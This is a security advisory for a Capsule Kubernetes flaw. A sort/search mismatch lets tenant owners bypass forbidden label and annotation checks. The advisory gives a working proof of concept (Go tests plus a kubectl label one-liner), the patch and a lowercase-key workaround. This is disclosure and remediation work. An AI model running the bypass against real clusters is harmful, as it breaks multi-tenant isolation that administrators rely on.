CVE-2026-61672: Capsule Tenant Forbidden Metadata Enforcement Bypass
A sorting bug in Capsule's forbidden-metadata checker lets a tenant owner apply labels or annotations the cluster administrator explicitly blocked, silently breaking multi-tenant isolation on…
The problem
Capsule enforces administrator-defined forbidden metadata keys (labels and annotations) on tenant namespaces, Services, and delegated nodes via ForbiddenListSpec.ExactMatch in pkg/api/forbidden_list.go. The function sorts the denied list with a case-insensitive comparator (strings.ToLower) and then searches it with sort.SearchStrings, which assumes plain byte-ascending order.
Those two orderings disagree whenever the list mixes capitalised and lowercase keys, because ASCII uppercase (0x41-0x5A) sorts before lowercase (0x61-0x7A) by byte but is interleaved by ToLower. The binary search lands on the wrong index and returns false for a key that is literally present, so ValidateForbidden returns nil and the admission webhook allows the forbidden metadata.
Any authenticated tenant owner (no cluster-admin rights required) can exploit this deterministically with a single kubectl label or kubectl annotate call. The precondition is that the administrator's denied list mixes at least one capitalised key with lowercase keys, which is realistic: vendor/operator CamelCase labels are routinely denied alongside kubernetes.io/... keys.
A uniformly lowercase list is not affected.
Proof of concept
A working proof-of-concept for CVE-2026-61672 in github.com/projectcapsule/capsule, with the exact payload below.
# Minimal root-cause reproducer (from advisory PoC, pkg/api layer)
# Denied list: ["kubernetes.io/metadata.name", "pod-security.kubernetes.io/enforce", "NetworkPolicy"]
# Mixed-case list causes sort.SearchStrings to miss two of the three entries.
# Step 1 – clone the vulnerable version
git clone --depth 1 --branch v0.13.5 https://github.com/projectcapsule/capsule.git
cd capsule
# Step 2 – drop the PoC test into the package
cat > pkg/api/forbidden_bypass_poc_test.go << 'EOF'
package api
import "testing"
func denied() ForbiddenListSpec {
return ForbiddenListSpec{
Exact: []string{
"kubernetes.io/metadata.name",
"pod-security.kubernetes.io/enforce",
"NetworkPolicy",
},
}
}
// Two denied keys slip past ValidateForbidden -- webhook would ALLOW them.
func TestPoC_ForbiddenKeysBypassed(t *testing.T) {
for _, k := range []string{"NetworkPolicy", "kubernetes.io/metadata.name"} {
if err := ValidateForbidden(map[string]string{k: "owned"}, denied()); err == nil {
t.Errorf("BYPASS CONFIRMED: allowed denied key %q", k)
}
}
}
// Minimal one-liner: ExactMatch(["B","a"], "B") returns false.
func TestPoC_ExactMatch_RootCause(t *testing.T) {
spec := ForbiddenListSpec{Exact: []string{"B", "a"}}
if !spec.ExactMatch("B") {
t.Errorf("ROOT CAUSE: ExactMatch returned false for a key in the list")
}
}
EOF
# Step 3 – run
go test ./pkg/api/ -run 'TestPoC_' -v
# Expected: both tests FAIL, confirming the bypass.
# In a live cluster, the equivalent is:
kubectl label namespace <tenant-ns> NetworkPolicy=open
# The admission webhook returns 200 instead of 403.The root cause is a mismatched sort/search pair. sort.SliceStable with a strings.ToLower comparator produces case-insensitive order, but sort.SearchStrings does a byte-order binary search. With Exact = ["B", "a"], the ToLower sort produces ["a", "B"] (because "a" < "b"). sort.SearchStrings(["a","B"], "B") returns 0 because "a" (0x61) byte-compares >= "B" (0x42), and then "a" != "B" yields not-found, so the forbidden key is treated as allowed.
The patch (commit 755cef54) replaces the sort-and-binary-search logic with a simple linear membership scan, removing the mismatch entirely. The same defect exists in AllowedListSpec.ExactMatch in pkg/api/allowed_list.go, where the polarity is fail-closed (wrongly denying allowed keys) rather than fail-open.
Both are fixed in 0.13.7. CWEs: CWE-697 (Incorrect Comparison) and CWE-863 (Incorrect Authorization).
The fix
Upgrade to **capsule v0.13.7** (patch commit 755cef54bf4a1bc56d6692130132bc70755bef46, PR #1982). The fix replaces the mismatched sort/search in ForbiddenListSpec.ExactMatch with a direct linear scan:
``go func (in ForbiddenListSpec) ExactMatch(value string) bool { for _, e := range in.Exact { if e == value { return true } } return false } ``
As a short-term workaround if upgrading immediately is not possible, ensure every entry in every forbiddenLabels and forbiddenAnnotations list is uniformly lowercase. This makes case-insensitive and byte ordering identical and eliminates the exploitable gap, though it is not a complete fix and CamelCase keys would remain unenforceable.
Reported by 5ud0 / Tarmo Technologies.
Related research
- high · 8.8Obot: OAuth Dynamic Client Registration Enables API Token Theft via Audience Confusion
- high · 7.5CVE-2026-86043CVE-2026-86043: Skipper opaAuthorizeRequestWithBody OPA Authorization Bypass via Chunked Body
- criticalCVE-2026-88007CVE-2026-88007: Traefik HTTP/3 NTLM Backend Connection Reuse
- highCVE-2026-88008CVE-2026-88008: Traefik h2c Upgrade Middleware Bypass via HTTP Request Smuggling